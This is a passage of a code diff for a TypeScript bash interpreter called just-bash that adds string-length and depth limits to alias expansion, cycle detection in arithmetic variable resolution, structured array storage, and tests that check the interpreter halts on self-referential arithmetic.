@@ -24,6 +26,27 @@ const ALIAS_PREFIX = "BASH_ALIAS_";
  */
 export interface AliasExpansionContext {
   env: Map<string, string>;
+  limits: {
+    maxCallDepth: number;
+    maxStringLength: number;
+  };
+}
+
+function appendBounded(
+  current: string,
+  fragment: string,
+  maxBytes: number,
+  usedBytes: { value: number },
+): string {
+  const fragmentBytes = utf8ByteLength(fragment);
+  if (fragmentBytes > maxBytes - usedBytes.value) {
+    throw new ExecutionLimitError(
+      `alias expansion exceeds string length limit (${maxBytes} bytes)`,
+      "string_length",
+    );
+  }
+  usedBytes.value += fragmentBytes;
+  return current + fragment;
 }
 
 /**
@@ -68,6 +91,15 @@ export function expandAlias(
   ctx: AliasExpansionContext,
   node: SimpleCommandNode,
   aliasExpansionStack: Set<string>,
+): SimpleCommandNode {
+  return expandAliasOnce(ctx, node, aliasExpansionStack);
+}
+
+function expandAliasOnce(
+  ctx: AliasExpansionContext,
+  node: SimpleCommandNode,
+  aliasExpansionStack: Set<string>,
+  expandTrailingAliases = true,
 ): SimpleCommandNode {
   // Need a command name to expand
   if (!node.name) return node;
@@ -92,7 +124,13 @@ export function expandAlias(
     const parser = new Parser();
     // Build the full command line: alias value + original args
     // We need to combine the alias value with any remaining arguments
-    let fullCommand = aliasValue;
+    const fullCommandBytes = { value: 0 };
+    let fullCommand = appendBounded(
+      "",
+      aliasValue,
+      ctx.limits.maxStringLength,
+      fullCommandBytes,
+    );
 
     // Check if alias value ends with a space (triggers expansion of next word)
     const expandNext = aliasValue.endsWith(" ");
@@ -102,7 +140,12 @@ export function expandAlias(
       // Convert args to strings for re-parsing
       for (const arg of node.args) {
         const argLiteral = wordNodeToString(arg);
-        fullCommand += ` ${argLiteral}`;
+        fullCommand = appendBounded(
+          fullCommand,
+          ` ${argLiteral}`,
+          ctx.limits.maxStringLength,
+          fullCommandBytes,
+        );
       }
     }
 
@@ -128,13 +171,13 @@ export function expandAlias(
       // Complex alias - might have multiple commands, pipelines, etc.
       // For now, execute as a script and wrap result
       // This is a simplification - full support would require more complex handling
-      return handleComplexAlias(node, aliasValue);
+      return handleComplexAlias(ctx, node, aliasValue);
     }
 
     const expandedCmd = expandedAst.statements[0].pipelines[0].commands[0];
     if (expandedCmd.type !== "SimpleCommand") {
       // Alias expanded to a compound command - let it execute directly
-      return handleComplexAlias(node, aliasValue);
+      return handleComplexAlias(ctx, node, aliasValue);
     }
 
     // Merge the expanded command with original node's context
@@ -156,35 +199,45 @@ export function expandAlias(
         args: [...newNode.args, ...node.args],
       };
 
-      // Now recursively expand the first arg if it's an alias
-      if (newNode.args.length > 0) {
+      // Expand the trailing-space alias chain iteratively so a long sequence
+      // cannot consume the JavaScript call stack.
+      // The command alias itself is the first expansion in this chain.
+      let expansions = 1;
+      while (expandTrailingAliases && newNode.args.length > 0) {
         const firstArg = newNode.args[0];
-        if (isLiteralUnquotedWord(firstArg)) {
-          const firstArgName = getLiteralValue(firstArg);
-          if (firstArgName && getAlias(ctx, firstArgName)) {
-            // Create a temporary node with the first arg as command
-            const tempNode: SimpleCommandNode = {
-              type: "SimpleCommand",
-              name: firstArg,
-              args: newNode.args.slice(1),
-              assignments: [],
-              redirections: [],
-            };
-            const expandedFirst = expandAlias(
-              ctx,
-              tempNode,
-              aliasExpansionStack,
-            );
-            if (expandedFirst !== tempNode) {
-              // Merge back
-              newNode = {
-                ...newNode,
-                name: expandedFirst.name,
-                args: [...expandedFirst.args],
-              };
-            }
-          }
+        if (!isLiteralUnquotedWord(firstArg)) break;
+        const firstArgName = getLiteralValue(firstArg);
+        const firstAlias = firstArgName ? getAlias(ctx, firstArgName) : null;
+        if (!firstAlias) break;
+        if (expansions >= ctx.limits.maxCallDepth) {
+          throw new ExecutionLimitError(
+            `alias expansion depth limit exceeded (${ctx.limits.maxCallDepth})`,
+            "recursion",
+          );
         }
+        expansions++;
+
+        const tempNode: SimpleCommandNode = {
+          type: "SimpleCommand",
+          name: firstArg,
+          args: newNode.args.slice(1),
+          assignments: [],
+          redirections: [],
+        };
+        const expandedFirst = expandAliasOnce(
+          ctx,
+          tempNode,
+          aliasExpansionStack,
+          false,
+        );
+        if (expandedFirst === tempNode) break;
+        newNode = {
+          ...newNode,
+          name: expandedFirst.name,
+          args: [...expandedFirst.args],
+        };
+
+        if (!firstAlias.endsWith(" ")) break;
       }
     }
 
@@ -207,20 +260,45 @@ export function expandAlias(
  * For now, we create a wrapper that will execute the alias as a script.
  */
 function handleComplexAlias(
+  ctx: AliasExpansionContext,
   node: SimpleCommandNode,
   aliasValue: string,
 ): SimpleCommandNode {
   // Build complete command string
-  let fullCommand = aliasValue;
+  const fullCommandBytes = { value: 0 };
+  let fullCommand = appendBounded(
+    "",
+    aliasValue,
+    ctx.limits.maxStringLength,
+    fullCommandBytes,
+  );
   for (const arg of node.args) {
     const argLiteral = wordNodeToString(arg);
-    fullCommand += ` ${argLiteral}`;
+    fullCommand = appendBounded(
+      fullCommand,
+      ` ${argLiteral}`,
+      ctx.limits.maxStringLength,
+      fullCommandBytes,
+    );
   }
 
   // Create an eval-like command that will execute the alias
   // This is a workaround - we create a new SimpleCommand that calls eval
   const parser = new Parser();
   const evalWord = parser.parseWordFromString("eval", false, false);
+  let singleQuoteCount = 0;
+  for (const char of fullCommand) {
+    if (char === "'") singleQuoteCount++;
+  }
+  if (
+    fullCommandBytes.value + 2 + singleQuoteCount * 3 >
+    ctx.limits.maxStringLength
+  ) {
+    throw new ExecutionLimitError(
+      `alias expansion exceeds string length limit (${ctx.limits.maxStringLength} bytes)`,
+      "string_length",
+    );
+  }
   const cmdWord = parser.parseWordFromString(
     `'${fullCommand.replace(/'/g, "'\\''")}'`,
     false,
diff --git a/packages/just-bash/src/interpreter/arithmetic-cycle.security.test.ts b/packages/just-bash/src/interpreter/arithmetic-cycle.security.test.ts
new file mode 100644
index 00000000..6f7f2087
--- /dev/null
+++ b/packages/just-bash/src/interpreter/arithmetic-cycle.security.test.ts
@@ -0,0 +1,34 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../Bash.js";
+
+describe("arithmetic resolution cycles", () => {
+  it.each([
+    ["expression-valued scalar", "a='a + 1'; echo $((a))", "at a"],
+    ["mutually recursive scalars", "a='b + 1'; b='a + 1'; echo $((a))", "at a"],
+    [
+      "indexed array element",
+      "declare -a a; a[0]='a[0] + 1'; echo $((a[0]))",
+      "at a[0]",
+    ],
+    [
+      "associative array element",
+      "declare -A a; a[x]='a[x] + 1'; echo $((a[x]))",
+      "at a[x]",
+    ],
+  ])("terminates a %s cycle", async (_name, script, expectedPath) => {
+    const bash = new Bash();
+
+    const result = await bash.exec(script);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.stderr).toContain("arithmetic variable cycle detected");
+    expect(result.stderr).toContain(expectedPath);
+  });
+
+  it("still evaluates repeated non-cyclic references", async () => {
+    const bash = new Bash();
+    const result = await bash.exec("a='b + 1'; b=2; echo $((a + a))");
+
+    expect(result).toMatchObject({ stdout: "6\n", stderr: "", exitCode: 0 });
+  });
+});
diff --git a/packages/just-bash/src/interpreter/arithmetic.ts b/packages/just-bash/src/interpreter/arithmetic.ts
index f82f283e..0d703ad1 100644
--- a/packages/just-bash/src/interpreter/arithmetic.ts
+++ b/packages/just-bash/src/interpreter/arithmetic.ts
@@ -28,8 +28,18 @@ import {
 import { Parser } from "../parser/parser.js";
 import { ArithmeticError, NounsetError } from "./errors.js";
 import { getArrayElements, getVariable } from "./expansion.js";
+import { getArrayElement, hasArray, setArrayElement } from "./helpers/array.js";
 import type { InterpreterContext } from "./types.js";
 
+interface ArithmeticResolutionContext {
+  readonly visited: Set<string>;
+  depth: number;
+}
+
+function createArithmeticResolutionContext(): ArithmeticResolutionContext {
+  return { visited: new Set(), depth: 0 };
+}
+
 /**
  * Pure binary operator evaluation - no async, no side effects.
  * Shared by both sync and async evaluators.
@@ -159,7 +169,7 @@ async function getArithVariable(
     return directValue;
   }
   // Array decay: if varName_0 exists, the variable is an array and we use element 0
-  const arrayZeroValue = ctx.state.env.get(`${name}_0`);
+  const arrayZeroValue = getArrayElement(ctx, name, 0);
   if (arrayZeroValue !== undefined) {
     return arrayZeroValue;
   }
@@ -167,70 +177,6 @@ async function getArithVariable(
   return await getVariable(ctx, name);
 }
 
-/**
- * Parse a string value as an arithmetic expression.
- * Unlike resolveArithVariable, this throws on parse errors (e.g., "12 34" is invalid).
- * Used for array element access where the value must be valid arithmetic.
- */
-/**
- * Parse and evaluate a string value as an arithmetic expression.
- * Used for array element access where the value may be an arithmetic expression.
- * e.g., a=([0]=1+2+3 [a[0]]=10) - when evaluating a[0], we get "1+2+3" which
- * needs to be evaluated to 6.
- *
- * NOTE: This is a static version that doesn't have context. For proper evaluation
- * of expressions containing variables, use evaluateArithValue with context.
- */
-function parseArithValue(value: string): number {
-  if (!value) {
-    return 0;
-  }
-
-  // Try to parse as a simple number
-  const num = Number.parseInt(value, 10);
-  if (!Number.isNaN(num) && /^-?\d+$/.test(value.trim())) {
-    return num;
-  }
-
-  const trimmed = value.trim();
-
-  // If it's empty, return 0
-  if (!trimmed) {
-    return 0;
-  }
-
-  // If it contains spaces and isn't a valid arithmetic expression, it's an error
-  // Parse it to validate - if parsing fails, throw
-  try {
-    const parser = new Parser();
-    const { expr, pos } = parseArithExpr(parser, trimmed, 0);
-    // Check if we parsed the whole string (pos should be at the end)
-    if (pos < trimmed.length) {
-      // There's unparsed content - find the error token
-      const errorToken = trimmed.slice(pos).trim().split(/\s+/)[0];
-      throw new ArithmeticError(
-        `${trimmed}: syntax error in expression (error token is "${errorToken}")`,
-      );
-    }
-    if (expr.type === "ArithNumber") {
-      return expr.value;
-    }
-    // For other expression types, we need full evaluation but we don't have context.
-    // This is only used for simple cases. For complex expressions with variables,
-    // callers should use evaluateArithValue instead.
-    return num || 0;
-  } catch (error) {
-    if (error instanceof ArithmeticError) {
-      throw error;
-    }
-    // Parse failed - find the error token
-    const errorToken = trimmed.split(/\s+/).slice(1)[0] || trimmed;
-    throw new ArithmeticError(
-      `${trimmed}: syntax error in expression (error token is "${errorToken}")`,
-    );
-  }
-}
-
 /**
  * Evaluate a string value as an arithmetic expression with full context.
  * This properly handles expressions like "1+2+3" or "x+y" by parsing and evaluating them.
@@ -238,6 +184,7 @@ function parseArithValue(value: string): number {
 async function evaluateArithValue(
   ctx: InterpreterContext,
   value: string,
+  resolution: ArithmeticResolutionContext,
 ): Promise<number> {
   if (!value) {
     return 0;
@@ -268,7 +215,30 @@ async function evaluateArithValue(
       "",
     );
   }
-  return await evaluateArithmetic(ctx, expr);
+  return await evaluateArithmeticInternal(ctx, expr, false, resolution);
+}
+
+async function evaluateResolvedArithValue(
+  ctx: InterpreterContext,
+  key: string,
+  value: string,
+  resolution: ArithmeticResolutionContext,
+): Promise<number> {
+  if (resolution.depth > 100) {
+    throw new ArithmeticError("maximum variable indirection depth exceeded");
+  }
+  if (resolution.visited.has(key)) {
+    throw new ArithmeticError(`arithmetic variable cycle detected at ${key}`);
+  }
+
+  resolution.visited.add(key);
+  resolution.depth++;
+  try {
+    return await evaluateArithValue(ctx, value, resolution);
+  } finally {
+    resolution.depth--;
+    resolution.visited.delete(key);
+  }
 }
 
 /**
@@ -281,57 +251,62 @@ async function evaluateArithValue(
 async function resolveArithVariable(
   ctx: InterpreterContext,
   name: string,
-  visited: Set<string> = new Set(),
-  depth = 0,
+  resolution: ArithmeticResolutionContext,
 ): Promise<number> {
   // Prevent excessively long non-repeating chains
-  if (depth > 100) {
+  if (resolution.depth > 100) {
     throw new ArithmeticError("maximum variable indirection depth exceeded");
   }
   // Prevent infinite recursion
-  if (visited.has(name)) {
-    return 0;
+  if (resolution.visited.has(name)) {
+    throw new ArithmeticError(`arithmetic variable cycle detected at ${name}`);
   }
-  visited.add(name);
+  resolution.visited.add(name);
+  resolution.depth++;
 
-  const value = await getArithVariable(ctx, name);
+  try {
+    const value = await getArithVariable(ctx, name);
 
-  // If value is empty or undefined, return 0
-  if (!value) {
-    return 0;
-  }
+    // If value is empty or undefined, return 0
+    if (!value) {
+      return 0;
+    }
 
-  // Try to parse as a number
-  const num = Number.parseInt(value, 10);
-  if (!Number.isNaN(num) && /^-?\d+$/.test(value.trim())) {
-    return num;
-  }
+    // Try to parse as a number
+    const num = Number.parseInt(value, 10);
+    if (!Number.isNaN(num) && /^-?\d+$/.test(value.trim())) {
+      return num;
+    }
 
-  const trimmed = value.trim();
+    const trimmed = value.trim();
 
-  // If it's not a number, check if it's a variable name
-  // In bash, arithmetic context recursively evaluates variable names
-  if (/^[a-zA-Z_][a-zA-Z0-9_]*$/.test(trimmed)) {
-    return await resolveArithVariable(ctx, trimmed, visited, depth + 1);
-  }
+    // If it's not a number, check if it's a variable name
+    // In bash, arithmetic context recursively evaluates variable names
+    if (/^[a-zA-Z_][a-zA-Z0-9_]*$/.test(trimmed)) {
+      return await resolveArithVariable(ctx, trimmed, resolution);
+    }
 
-  // Dynamic arithmetic: If the value contains arithmetic operators, parse and evaluate it
-  // This handles cases like e=1+2; $((e + 3)) => 6
-  const parser = new Parser();
-  const { expr, pos } = parseArithExpr(parser, trimmed, 0);
+    // Dynamic arithmetic: If the value contains arithmetic operators, parse and evaluate it
+    // This handles cases like e=1+2; $((e + 3)) => 6
+    const parser = new Parser();
+    const { expr, pos } = parseArithExpr(parser, trimmed, 0);
 
-  // Check if we parsed the entire string - if not, it's a syntax error
-  // This handles cases like array element "1 3" which parses as "1" leaving " 3" unparsed
-  if (pos < trimmed.length) {
-    const unparsed = trimmed.slice(pos).trim();
-    const errorToken = unparsed.split(/\s+/)[0] || unparsed;
-    throw new ArithmeticError(
-      `${trimmed}: syntax error in expression (error token is "${errorToken}")`,
-    );
-  }
+    // Check if we parsed the entire string - if not, it's a syntax error
+    // This handles cases like array element "1 3" which parses as "1" leaving " 3" unparsed
+    if (pos < trimmed.length) {
+      const unparsed = trimmed.slice(pos).trim();
+      const errorToken = unparsed.split(/\s+/)[0] || unparsed;
+      throw new ArithmeticError(
+        `${trimmed}: syntax error in expression (error token is "${errorToken}")`,
+      );
+    }
 
-  // Evaluate the parsed expression
-  return await evaluateArithmetic(ctx, expr);
+    // Evaluate the parsed expression
+    return await evaluateArithmeticInternal(ctx, expr, false, resolution);
+  } finally {
+    resolution.depth--;
+    resolution.visited.delete(name);
+  }
 }
 
 /**
@@ -428,6 +403,23 @@ export async function evaluateArithmetic(
   expr: ArithExpr,
   isExpansionContext = false,
 ): Promise<number> {
+  return evaluateArithmeticInternal(
+    ctx,
+    expr,
+    isExpansionContext,
+    createArithmeticResolutionContext(),
+  );
+}
+
+async function evaluateArithmeticInternal(
+  ctx: InterpreterContext,
+  expr: ArithExpr,
+  isExpansionContext: boolean,
+  resolution: ArithmeticResolutionContext,
+): Promise<number> {
+  const evaluate = (nestedExpr: ArithExpr, expansion = isExpansionContext) =>
+    evaluateArithmeticInternal(ctx, nestedExpr, expansion, resolution);
+
   switch (expr.type) {
     case "ArithNumber":
       if (Number.isNaN(expr.value)) {
@@ -437,7 +429,7 @@ export async function evaluateArithmetic(
 
     case "ArithVariable": {
       // Use recursive resolution - bash evaluates variable names recursively
-      return await resolveArithVariable(ctx, expr.name);
+      return await resolveArithVariable(ctx, expr.name, resolution);
     }
 
     case "ArithSpecialVar": {
@@ -451,11 +443,11 @@ export async function evaluateArithmetic(
       // If not a simple number, evaluate as arithmetic expression
       const parser = new Parser();
       const { expr: parsed } = parseArithExpr(parser, trimmed, 0);
-      return await evaluateArithmetic(ctx, parsed);
+      return await evaluate(parsed);
     }
 
     case "ArithNested":
-      return await evaluateArithmetic(ctx, expr.expression);
+      return await evaluate(expr.expression);
 
     case "ArithCommandSubst": {
       // Execute the command and parse the result as a number
@@ -499,17 +491,24 @@ export async function evaluateArithmetic(
       const isAssoc = ctx.state.associativeArrays?.has(expr.array);
 
       // Helper function to lookup and evaluate array value
-      const lookupArrayValue = async (envKey: string): Promise<number> => {
-        const arrayValue = ctx.state.env.get(envKey);
+      const lookupArrayValue = async (
+        key: string | number,
+      ): Promise<number> => {
+        const arrayValue = getArrayElement(ctx, expr.array, key);
         if (arrayValue !== undefined) {
-          return await evaluateArithValue(ctx, arrayValue);
+          return await evaluateResolvedArithValue(
+            ctx,
+            `${expr.array}[${key}]`,
+            arrayValue,
+            resolution,
+          );
         }
         return 0;
       };
 
       // Case 1: Literal string key - A['key']
       if (expr.stringKey !== undefined) {
-        return await lookupArrayValue(`${expr.array}_${expr.stringKey}`);
+        return await lookupArrayValue(expr.stringKey);
       }
 
       // Case 2: Associative array with variable name (no $ prefix) - A[K]
@@ -518,7 +517,7 @@ export async function evaluateArithmetic(
         expr.index?.type === "ArithVariable" &&
         !expr.index.hasDollarPrefix
       ) {
-        return await lookupArrayValue(`${expr.array}_${expr.index.name}`);
+        return await lookupArrayValue(expr.index.name);
       }
 
       // Case 3: Associative array with $ prefix - A[$key]
@@ -528,16 +527,12 @@ export async function evaluateArithmetic(
         expr.index.hasDollarPrefix
       ) {
         const expandedKey = await getVariable(ctx, expr.index.name);
-        return await lookupArrayValue(`${expr.array}_${expandedKey}`);
+        return await lookupArrayValue(expandedKey);
       }
 
       // Case 4: Indexed array - A[expr]
       if (expr.index) {
-        let index = await evaluateArithmetic(
-          ctx,
-          expr.index,
-          isExpansionContext,
-        );
+        let index = await evaluate(expr.index);
 
         // Handle negative indices - bash counts from max_index + 1
         if (index < 0) {
@@ -562,23 +557,32 @@ export async function evaluateArithmetic(
           index = actualIdx;
         }
 
-        const envKey = `${expr.array}_${index}`;
-        const arrayValue = ctx.state.env.get(envKey);
+        const envKey = `${expr.array}[${index}]`;
+        const arrayValue = getArrayElement(ctx, expr.array, index);
         if (arrayValue !== undefined) {
-          return evaluateArithValue(ctx, arrayValue);
+          return evaluateResolvedArithValue(
+            ctx,
+            envKey,
+            arrayValue,
+            resolution,
+          );
         }
         // Scalar decay: s[0] returns scalar value s
         if (index === 0) {
           const scalarValue = ctx.state.env.get(expr.array);
           if (scalarValue !== undefined) {
-            return evaluateArithValue(ctx, scalarValue);
+            return evaluateResolvedArithValue(
+              ctx,
+              expr.array,
+              scalarValue,
+              resolution,
+            );
           }
         }
         // Check nounset
         if (ctx.state.options.nounset) {
-          const hasAnyElement = Array.from(ctx.state.env.keys()).some(
-            (key) => key === expr.array || key.startsWith(`${expr.array}_`),
-          );
+          const hasAnyElement =
+            ctx.state.env.has(expr.array) || hasArray(ctx, expr.array);
           if (!hasAnyElement) {
             throw new NounsetError(`${expr.array}[${index}]`);
           }
@@ -624,43 +628,23 @@ export async function evaluateArithmetic(
     case "ArithBinary": {
       // Short-circuit evaluation for logical operators
       if (expr.operator === "||") {
-        const left = await evaluateArithmetic(
-          ctx,
-          expr.left,
-          isExpansionContext,
-        );
+        const left = await evaluate(expr.left);
         if (left) return 1;
-        return (await evaluateArithmetic(ctx, expr.right, isExpansionContext))
-          ? 1
-          : 0;
+        return (await evaluate(expr.right)) ? 1 : 0;
       }
       if (expr.operator === "&&") {
-        const left = await evaluateArithmetic(
-          ctx,
-          expr.left,
-          isExpansionContext,
-        );
+        const left = await evaluate(expr.left);
         if (!left) return 0;
-        return (await evaluateArithmetic(ctx, expr.right, isExpansionContext))
-          ? 1
-          : 0;
+        return (await evaluate(expr.right)) ? 1 : 0;
       }
 
-      const left = await evaluateArithmetic(ctx, expr.left, isExpansionContext);
-      const right = await evaluateArithmetic(
-        ctx,
-        expr.right,
-        isExpansionContext,
-      );
+      const left = await evaluate(expr.left);
+      const right = await evaluate(expr.right);
       return applyBinaryOp(left, right, expr.operator);
     }
 
     case "ArithUnary": {
-      const operand = await evaluateArithmetic(
-        ctx,
-        expr.operand,
-        isExpansionContext,
-      );
+      const operand = await evaluate(expr.operand);
       // Handle ++/-- with side effects separately
       if (expr.operator === "++" || expr.operator === "--") {
         if (expr.operand.type === "ArithVariable") {
@@ -675,17 +659,17 @@ export async function evaluateArithmetic(
           // Handle array element increment/decrement: a[0]++, ++a[0], etc.
           const arrayName = expr.operand.array;
           const isAssoc = ctx.state.associativeArrays?.has(arrayName);
-          let envKey: string;
+          let elementKey: string;
 
           if (expr.operand.stringKey !== undefined) {
-            envKey = `${arrayName}_${expr.operand.stringKey}`;
+            elementKey = expr.operand.stringKey;
           } else if (
             isAssoc &&
             expr.operand.index?.type === "ArithVariable" &&
             !expr.operand.index.hasDollarPrefix
           ) {
             // A[K]++ where K is without $ -> use "K" as literal key
-            envKey = `${arrayName}_${expr.operand.index.name}`;
+            elementKey = expr.operand.index.name;
           } else if (
             isAssoc &&
             expr.operand.index?.type === "ArithVariable" &&
@@ -693,22 +677,27 @@ export async function evaluateArithmetic(
           ) {
             // A[$key]++ where key has $ -> expand $key to get the actual key
             const expandedKey = await getVariable(ctx, expr.operand.index.name);
-            envKey = `${arrayName}_${expandedKey}`;
+            elementKey = expandedKey;
           } else if (expr.operand.index) {
-            const index = await evaluateArithmetic(
-              ctx,
-              expr.operand.index,
-              isExpansionContext,
-            );
-            envKey = `${arrayName}_${index}`;
+            const index = await evaluate(expr.operand.index);
+            elementKey = String(index);
           } else {
             return operand;
           }
 
           const current =
-            Number.parseInt(ctx.state.env.get(envKey) || "0", 10) || 0;
+            Number.parseInt(
+              getArrayElement(ctx, arrayName, elementKey) || "0",
+              10,
+            ) || 0;
           const newValue = expr.operator === "++" ? current + 1 : current - 1;
-          ctx.state.env.set(envKey, String(newValue));
+          setArrayElement(
+            ctx,
+            arrayName,
+            elementKey,
+            String(newValue),
+            isAssoc ? "associative" : "indexed",
+          );
           return expr.prefix ? newValue : current;
         }
         if (expr.operand.type === "ArithConcat") {
@@ -719,6 +708,7 @@ export async function evaluateArithmetic(
               ctx,
               part,
               isExpansionContext,
+              resolution,
             );
           }
           if (varName && /^[a-zA-Z_][a-zA-Z0-9_]*$/.test(varName)) {
@@ -738,6 +728,7 @@ export async function evaluateArithmetic(
                 ctx,
                 part,
                 isExpansionContext,
+                resolution,
               );
             }
           } else if (expr.operand.nameExpr.type === "ArithVariable") {
@@ -746,16 +737,14 @@ export async function evaluateArithmetic(
               : expr.operand.nameExpr.name;
           }
           if (varName && /^[a-zA-Z_][a-zA-Z0-9_]*$/.test(varName)) {
-            const index = await evaluateArithmetic(
-              ctx,
-              expr.operand.subscript,
-              isExpansionContext,
-            );
-            const envKey = `${varName}_${index}`;
+            const index = await evaluate(expr.operand.subscript);
             const current =
-              Number.parseInt(ctx.state.env.get(envKey) || "0", 10) || 0;
+              Number.parseInt(
+                getArrayElement(ctx, varName, index) || "0",
+                10,
+              ) || 0;
             const newValue = expr.operator === "++" ? current + 1 : current - 1;
-            ctx.state.env.set(envKey, String(newValue));
+            setArrayElement(ctx, varName, index, String(newValue));
             return expr.prefix ? newValue : current;
           }
         }
@@ -765,24 +754,21 @@ export async function evaluateArithmetic(
     }
 
     case "ArithTernary": {
-      const condition = await evaluateArithmetic(
-        ctx,
-        expr.condition,
-        isExpansionContext,
-      );
+      const condition = await evaluate(expr.condition);
       return condition
-        ? await evaluateArithmetic(ctx, expr.consequent, isExpansionContext)
-        : await evaluateArithmetic(ctx, expr.alternate, isExpansionContext);
+        ? await evaluate(expr.consequent)
+        : await evaluate(expr.alternate);
     }
 
     case "ArithAssignment": {
       const name = expr.variable;
-      let envKey = name;
+      const envKey = name;
+      let arrayKey: string | undefined;
 
       // Handle array element assignment
       if (expr.stringKey !== undefined) {
         // Literal string key: A['key'] = V
-        envKey = `${name}_${expr.stringKey}`;
+        arrayKey = expr.stringKey;
       } else if (expr.subscript) {
         const isAssoc = ctx.state.associativeArrays?.has(name);
         if (
@@ -792,7 +778,7 @@ export async function evaluateArithmetic(
         ) {
           // For associative arrays, variable names without $ prefix are used as literal keys
           // A[K] = V where K is a variable name without $ -> use "K" as the key
-          envKey = `${name}_${expr.subscript.name}`;
+          arrayKey = expr.subscript.name;
         } else if (
           isAssoc &&
           expr.subscript.type === "ArithVariable" &&
@@ -803,22 +789,14 @@ export async function evaluateArithmetic(
           // use backslash as key. This matches spec test "bash bug: (( A["$key"] = 1 ))"
           const expandedKey = await getVariable(ctx, expr.subscript.name);
           // When variable expands to empty, use backslash as the key (OSH behavior)
-          envKey = `${name}_${expandedKey || "\\"}`;
+          arrayKey = expandedKey || "\\";
         } else if (isAssoc) {
           // For non-variable subscripts on associative arrays, evaluate and convert to string
-          const index = await evaluateArithmetic(
-            ctx,
-            expr.subscript,
-            isExpansionContext,
-          );
-          envKey = `${name}_${index}`;
+          const index = await evaluate(expr.subscript);
+          arrayKey = String(index);
         } else {
           // For indexed arrays, evaluate the subscript as arithmetic
-          let index = await evaluateArithmetic(
-            ctx,
-            expr.subscript,
-            isExpansionContext,
-          );
+          let index = await evaluate(expr.subscript);
           // Handle negative indices
           if (index < 0) {
             const elements = getArrayElements(ctx, name);
@@ -829,24 +807,32 @@ export async function evaluateArithmetic(
               index = maxIndex + 1 + index;
             }
           }
-          envKey = `${name}_${index}`;
+          arrayKey = String(index);
         }
       }
 
-      const current =
-        Number.parseInt(ctx.state.env.get(envKey) || "0", 10) || 0;
-      const value = await evaluateArithmetic(
-        ctx,
-        expr.value,
-        isExpansionContext,
-      );
+      const currentValue =
+        arrayKey === undefined
+          ? ctx.state.env.get(envKey)
+          : getArrayElement(ctx, name, arrayKey);
+      const current = Number.parseInt(currentValue || "0", 10) || 0;
+      const value = await evaluate(expr.value);
       const newValue = applyAssignmentOp(current, value, expr.operator);
-      ctx.state.env.set(envKey, String(newValue));
+      if (arrayKey === undefined) ctx.state.env.set(envKey, String(newValue));
+      else {
+        setArrayElement(
+          ctx,
+          name,
+          arrayKey,
+          String(newValue),
+          ctx.state.associativeArrays?.has(name) ? "associative" : "indexed",
+        );
+      }
       return newValue;
     }
 
     case "ArithGroup":
-      return await evaluateArithmetic(ctx, expr.expression, isExpansionContext);
+      return await evaluate(expr.expression);
 
     case "ArithConcat": {
       // Concatenate all parts to form a dynamic variable name or number
@@ -857,11 +843,12 @@ export async function evaluateArithmetic(
           ctx,
           part,
           isExpansionContext,
+          resolution,
         );
       }
       // If the result is a valid identifier, look it up as a variable
       if (/^[a-zA-Z_][a-zA-Z0-9_]*$/.test(concatenated)) {
-        return await resolveArithVariable(ctx, concatenated);
+        return await resolveArithVariable(ctx, concatenated, resolution);
       }
       // Otherwise parse as a number
       return Number.parseInt(concatenated, 10) || 0;
@@ -877,6 +864,7 @@ export async function evaluateArithmetic(
             ctx,
             part,
             isExpansionContext,
+            resolution,
           );
         }
       } else if (expr.target.type === "ArithVariable") {
@@ -890,20 +878,12 @@ export async function evaluateArithmetic(
       // Build the env key - include subscript for array assignment
       let envKey = varName;
       if (expr.subscript) {
-        const index = await evaluateArithmetic(
-          ctx,
-          expr.subscript,
-          isExpansionContext,
-        );
+        const index = await evaluate(expr.subscript);
         envKey = `${varName}_${index}`;
       }
       const current =
         Number.parseInt(ctx.state.env.get(envKey) || "0", 10) || 0;
-      const value = await evaluateArithmetic(
-        ctx,
-        expr.value,
-        isExpansionContext,
-      );
+      const value = await evaluate(expr.value);
       const newValue = applyAssignmentOp(current, value, expr.operator);
       ctx.state.env.set(envKey, String(newValue));
       return newValue;
@@ -918,6 +898,7 @@ export async function evaluateArithmetic(
             ctx,
             part,
             isExpansionContext,
+            resolution,
           );
         }
       } else if (expr.nameExpr.type === "ArithVariable") {
@@ -928,15 +909,11 @@ export async function evaluateArithmetic(
       if (!varName || !/^[a-zA-Z_][a-zA-Z0-9_]*$/.test(varName)) {
         return 0; // Invalid variable name
       }
-      const index = await evaluateArithmetic(
-        ctx,
-        expr.subscript,
-        isExpansionContext,
-      );
+      const index = await evaluate(expr.subscript);
       const envKey = `${varName}_${index}`;
       const value = ctx.state.env.get(envKey);
       if (value !== undefined) {
-        return parseArithValue(value);
+        return evaluateResolvedArithValue(ctx, envKey, value, resolution);
       }
       return 0;
     }
@@ -955,6 +932,7 @@ async function evalConcatPartToStringAsync(
   ctx: InterpreterContext,
   expr: ArithExpr,
   isExpansionContext = false,
+  resolution = createArithmeticResolutionContext(),
 ): Promise<string> {
   switch (expr.type) {
     case "ArithNumber":
@@ -962,7 +940,14 @@ async function evalConcatPartToStringAsync(
     case "ArithSingleQuote":
       // For single quotes in concatenation context, evaluate through main evaluator
       // which will handle the expansion vs command context distinction
-      return String(await evaluateArithmetic(ctx, expr, isExpansionContext));
+      return String(
+        await evaluateArithmeticInternal(
+          ctx,
+          expr,
+          isExpansionContext,
+          resolution,
+        ),
+      );
     case "ArithVariable":
       // If no $ prefix, use the literal name for building dynamic var names
       // If has $ prefix, expand to the variable's value
@@ -990,11 +975,19 @@ async function evalConcatPartToStringAsync(
           ctx,
           part,
           isExpansionContext,
+          resolution,
         );
       }
       return result;
     }
     default:
-      return String(await evaluateArithmetic(ctx, expr, isExpansionContext));
+      return String(
+        await evaluateArithmeticInternal(
+          ctx,
+          expr,
+          isExpansionContext,
+          resolution,
+        ),
+      );
   }
 }
diff --git a/packages/just-bash/src/interpreter/array-state-integrity.test.ts b/packages/just-bash/src/interpreter/array-state-integrity.test.ts
new file mode 100644
index 00000000..ad86457c
--- /dev/null
+++ b/packages/just-bash/src/interpreter/array-state-integrity.test.ts
@@ -0,0 +1,95 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../Bash.js";
+
+describe("structured array state integrity", () => {
+  it("keeps scalar names independent from indexed array storage", async () => {
+    const result = await new Bash().exec(`
+      a=(array-zero array-one)
+      a_0=scalar-zero
+      a__length=scalar-length
+      printf '%s|%s|%s\n' "\${a[0]}" "$a_0" "$a__length"
+      a=(replacement)
+      printf '%s|%s|%s\n' "\${a[0]}" "$a_0" "$a__length"
+    `);
+
+    expect(result).toMatchObject({
+      stdout:
